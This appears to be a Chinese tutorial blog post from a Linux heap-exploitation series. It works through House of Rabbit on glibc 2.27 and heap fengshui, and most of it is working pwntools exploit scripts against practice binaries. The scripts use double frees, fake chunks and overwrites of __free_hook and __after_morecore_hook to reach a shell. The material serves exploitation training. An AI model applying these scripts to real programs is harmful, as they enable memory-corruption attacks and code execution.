从零开始的Linux堆利用13 -- Heap Fengshui

这一节主要包含两个部分,高版本下的House of Rabbit以及堆风水

House of Rabbit

House of Rabbit中学习到了House of Rabbit的利用方式,这种利用思路通过修改fastbin的fd指针、触发malloc_consolidate将fastbin放入到unsortedbin、进一步修改fake chunk的大小使chunk放入到largebin进而得到任意地址的写能力。

但是这里有一个前提就是之前的glibc版本比较低(2.25)

在glibc 2.27中的malloc_consolidate函数中增加了对fastbin的size的检查

--- a/malloc/malloc.c
+++ b/malloc/malloc.c
@@ -4431,6 +4431,12 @@ static void malloc_consolidate(mstate av)
     p = atomic_exchange_acq (fb, NULL);
     if (p != 0) {
       do {
+       {
+         unsigned int idx = fastbin_index (chunksize (p));
+         if ((&fastbin (av, idx)) != fb)
+           malloc_printerr ("malloc_consolidate(): invalid chunk size");
+       }
+
        check_inuse_chunk(av, p);
        nextp = p->fd;

可以看到在check_inuse_chunk之前检查了fastbin(av,idx)和本身fb应该有的大小是否相等

之前我们利用时正确执行malloc_consolidate的方法是将伪造的fastbin chunk的size设置为1,这样使得绕过对前后的chunk进行合并时的unlink检查

增加了这样的检查之后就没办法简单的修改size为1绕过

来看一下链接在2.27版本glibc的实例

image-20211213124814423

这个程序大体上和之前的程序是一样的,差异的地方主要有两点

一是原本的age字段变成了username字段,这样可以在fake chunk中输入的范围变得更大了;

二是glibc的版本从2.25变成了2.27;

三是程序没有像之前一样泄漏glibc的地址;

首先我们先copy过来之前的exploit,在这基础上进一步修改

username = p64(0) + p64(0x21)
io.sendline(username)
io.recvuntil("> ")

large = malloc(0x5fff8,'aaaa')
free(mem)
large = malloc(0x5fff8,'aaaa')

fast_A = malloc(0x18,'aaaa')
fast_B = malloc(0x18,'bbbb')

free(fast_A)
free(fast_B)
free(fast_A)

malloc(0x18, p64(elf.sym.username))

consolidate = malloc(0x88, 'cccc')
free(consolidate)

fake_size = 0x80001
amend_username(p64(0)+p64(fake_size))
malloc(0x80008, 'dddd')

fake_size = 0xfffffffffffffff1
amend_username(p64(0)+p64(fake_size))

直接运行一下,不出意外的在触发consolidate时报错

出错的原因也就是unlink时出的错

  • 堆管理器首先顺着fastbin的fd找到了username的部分;
  • 之后从username伪造的chunk向下找这个nextchunk
  • 这时找到的是一块空的区域,这里size字段是全零,堆管理器接着找这个nextchunk的下一个chunk,我们暂且称为nnchunk
  • 发现nnchunk的prev_inuse字段为0,堆管理器以为nextchunk也是free的,可以和fake chunk合并
  • 于是触发了unlink,在unlink的unsortedbin size检查时报错

这里没办法设置fake chunk的size为1绕过,但是可以尝试设置fake chunk后面的内容,在这后面再伪造一个chunk出来

username = p64(0) + p64(0x21) + p64(0)*2+p64(0x20) + p64(0x10) + p64(0) + p64(0x21)

这样运行之后就成功将这个chunk放入到了unsortedbin中

image-20211213171150499

接下来由于没有libc的地址,需要首先设法得到libc的基地址,否则没办法修改__free_hook

这个程序中有办法读内容的只有target这个菜单

那么首先尝试利用任意地址写的方法修改target的内容

之前修改地址的exploit为

distance = 0xffffffffffffffff - elf.sym.username + elf.sym.target - 0x20
malloc(distance, 'eeee')
malloc(0x18, 'Much Win')

利用同样的exploit在glibc2.27

但是在malloc(distance)这里会报错

报错的内容是corrupted size vs. prev_size

这个错误在之前House of Einherjar中也见到过

比较的具体位置是这里,原因是顺着fake chunk向下找到的nextchunk,找到的prev_size字段和直接看到的fake chunk的size大小不同

不过还好我们伪造的fake chunk大小是0xfffffff0

正好可以在内存循环一圈,最后nextsize的位置正好在伪造的chunk上面

可以尝试将整个fake chunk向下挪一点,让这个最终的prev_size字段落在username内,修改成合适的大小就可以通过这个检查

username = p64(0)*3 + p64(0x21) + p64(0)*2+p64(0x20) + p64(0x10) + p64(0) + p64(0x21)
# ...
# ...
malloc(0x18, elf.sym.username+0x10)
# ...
# ...
amend_username(p64(0)*3 + p64(fake_size))
# ...
# ...
amend_username(p64(0xfffffffffffffff0)+p64(0)*2+p64(fake_size))

需要修改的主要是几次修改username的地方,以及malloc时修改指针的位置时

但是增加两个p64(0)的话就超过了username的长度限制,导致最后的nnchunk的size没有输入进去

这会触发unlink的错误

解决方法是修改nextchunk的size为1

虽然fastbin做了size的检查,但是2.27中对于unlink时unsortedbin的size检查还是和之前一样的

username = p64(0)*3 + p64(0x21) + p64(0)*2 + p64(0x20)+p64(1)

最终的exploit

username = p64(0)*3 + p64(0x21) + p64(0)*2+p64(0x20) + p64(0x1)

io.sendafter("username: ", username)
io.recvuntil("> ")
io.timeout = 0.1

mem = malloc(0x5fff8, "Y"*8) # Allocated via mmap().
free(mem) # Freeing an mmapped chunk increases the mmap threshold to its size.
mem = malloc(0x5fff8, "Z"*8)
                                                                                                     
dup = malloc(0x18, "A"*8)
safety = malloc(0x18, "B"*8)

free(dup)
free(safety)
free(dup)

malloc(0x18, p64(elf.sym.username+0x10)) # Address of fake chunk.

consolidate = malloc(0x88, "C"*8)
free(consolidate)

fake_size = 0x80001
amend_username(p64(0)*3+p64(fake_size))                                                              
malloc(0x80008, "D"*8)

fake_size = 0xfffffffffffffff1
amend_username(p64(0xfffffffffffffff0)+p64(0)*2+p64(fake_size))

# =============================================================================
# write target
distance = delta(elf.sym.username+0x10, elf.sym.target - 0x20)
malloc(distance,'eeee')

malloc(0x18, 'Much Win\x00')

最终就可以修改target的内容为目标的字符串

image-20211215153632218

接下来如果想要获取到代码执行权限需要有一个libc的地址泄漏,但是目前已经申请满了9个chunk

后面怎么不多申请拿到代码执行能力还是没有想到

堆风水

heap fengshui,也叫heap grooming

堆风水严格来说不算是一个利用的技巧,这种方法是通过控制申请的先后顺序、chunk的大小,让堆中的排布符合预期的状态。

在以一个和House of Rabbit类似的例子说明

image-20211215190553967

相比之前的差别在于无法申请fastbin大小的chunk

另外可以申请的次数从9次变成了13次

如果还想要使用house of orange的方法,那么难点就在于如何能在不直接使用malloc的情况下得到一个指向fastbin大小的chunk的指针

首先我们知道这个程序存在double free的漏洞,想要得到一个fastbin中的chunk需要有一个指向fastbin大小的空间的指针

一个思路就是利用unsortedbin的remainder

chunk_A = malloc(0x88, "AAAA")
chunk_B = malloc(0x88, "BBBB")

free(chunk_A)
free(chunk_B)

chunk_C = malloc(0xa8, "CCCC")
chunk_D = malloc(0x88, "DDDD")

free(chunk_C)
chunk_E = malloc(0x88, "AAAA")

首先申请两个0x90大小的A、B,之后free掉这两个chunk,这时A和B都会合并在top chunk中

image-20211216111751282

虽然A、B都已经被free掉了,但是从top chunk往下查看内存还是可以看到原本A、B的区域

这时我们重新申请大小为0xb0(0x90+0x20)的空间,即C

以及主要用于防止C与top Chunk合并的D

image-20211216112145951

这时B指向的位置就在C的后半部分

接下来free掉C,并再申请一个大小0x90的chunk

这时堆触发remaindering,B指向的位置就会是一个0x20大小的unsortedbin

image-20211216112357521

这时利用B这个指针,调用free(B)就可以将其再放入到fastbin

image-20211216113303858

这时这个0x20大小的chunk就在fastbin中了

但是目前的问题在于,fastbin的fd破坏了unsortedbin的双向链表,如果这时继续申请可能会出错

如何既保留0x20这样一个size字段,又能够不破坏已有bins指针呢?

在调用free(B)之前,再使用free(E)free(D)

这样让目前有的几个chunk全部再合并到top chunk中,这样bins就会被清空,同时这个0x20的值还会留在内存里面

chunk_A = malloc(0x88, "AAAA")
chunk_B = malloc(0x88, "BBBB")

free(chunk_A)
free(chunk_B)

chunk_C = malloc(0xa8, "CCCC")
chunk_D = malloc(0x88, "DDDD")

free(chunk_C)
chunk_E = malloc(0x88, "AAAA")

free(chunk_E)
free(chunk_D)

free(chunk_B)

可以看到这样就将其放进了fastbin中

image-20211216115009854

接下来就是修改这一个指针了

申请两次0x90大小的chunk,第二次的请求写入的地方就是fastbin的fd指针

image-20211216115333311

剩下的技巧就是和house of rabbit类似了

这里主要想要说的是堆风水这种技巧可以通过精巧的控制堆的申请次序和申请大小,使堆中排布变成需要的样子

接下来进一步尝试获取shell,主要需要处理的地方和之前是一样的,增加mmap的阈值、增大程序的system_mem等等

age = 1
# ====增大mmap阈值
large = malloc(0x5fff8, 'aaaa')
free(large)

# ====增大system_mem
large = malloc(0x5fff8, 'aaaa')

# ====修改fastbin的fd指针
chunk_A = malloc(0x88, "AAAA")
chunk_B = malloc(0x88, "BBBB")

free(chunk_A)
free(chunk_B)

chunk_C = malloc(0xa8, "CCCC")
chunk_D = malloc(0x88, "DDDD")

free(chunk_C)
chunk_E = malloc(0x88, "AAAA")

free(chunk_E)
free(chunk_D)

free(chunk_B)

chunk_F = malloc(0x88, 'FFFF')
chunk_G = malloc(0x88, p64(elf.sym.user))
# =======

# ====触发malloc_consolidate
free(large)

# ====sort到largebin
amend_age(0x80001)
malloc(0x80008, 'xxxx')

# ====修改free_hook
distance = libc.sym.__free_hook - 0x20 - elf.sym.user
amend_age(distance+0x99)

binsh = malloc(distance,'/bin/sh')
malloc(0x88,p64(0)+p64(libc.system))

free(binsh)

这时发现这个程序又加了一个修改,就是malloc之后只能写入8个字节

所以没办法覆盖free_hook的值,因为free_hook是8字节对齐,而不是16字节对齐的

这里就又介绍到一个可以修改的hook地址__after_morecore_hook

image-20211216163018302

__morecore__after_morecore_hook都是会在需要extend堆的空间时触发

终端中执行man malloc_hook可以看到关于这个的介绍

The variable __after_morecore_hook points at a function that is called each time after sbrk was asked for more memory

而extend堆的空间需要申请的内存大小应该是小于mmap的threshold,大于system_mem和top chunk的值,在目前这个binary的运行环境下应该是0x60000-0x61000之间的值

在gdb中设置一个硬件断点在__after_morecore_hook上面

image-20211216170830867

之后申请一个0x60008大小的内容

image-20211216170930255

看到程序停在了这里,从源码我们可以看到调用这个hook的时候是没有参数的

(*hook)();

所以我们没办法像free_hook那样改成system之后传入/bin/sh

那么可以尝试使用one_gadget

测试后发现rax==NULL这个条件是满足的

age = 1
# ====增大mmap阈值
large = malloc(0x5fff8, 'aaaa')
free(large)

# ====增大system_mem
large = malloc(0x5fff8, 'aaaa')

# ====修改fastbin的fd指针
chunk_A = malloc(0x88, "AAAA")
chunk_B = malloc(0x88, "BBBB")

free(chunk_A)
free(chunk_B)

chunk_C = malloc(0xa8, "CCCC")
chunk_D = malloc(0x88, "DDDD")

free(chunk_C)
chunk_E = malloc(0x88, "AAAA")

free(chunk_E)
free(chunk_D)

free(chunk_B)

chunk_F = malloc(0x88, 'FFFF')
chunk_G = malloc(0x88, p64(elf.sym.user))
# =======

# ====触发malloc_consolidate
free(large)

# ====sort到largebin
amend_age(0x80001)
malloc(0x80008, 'xxxx')

# ====修改free_hook
distance = libc.sym.__after_morecore_hook - 0x20 - elf.sym.user
amend_age(distance+0xa1)
malloc(distance,'HHHH')

malloc(0x88,p64(libc.address+0x3ff5e))
malloc(0x60008, "")

最后这样就可以获得权限了

不过这个binary有点为了出题而出题的意思,实际上一般很少会用到__after_morecore_hook这个值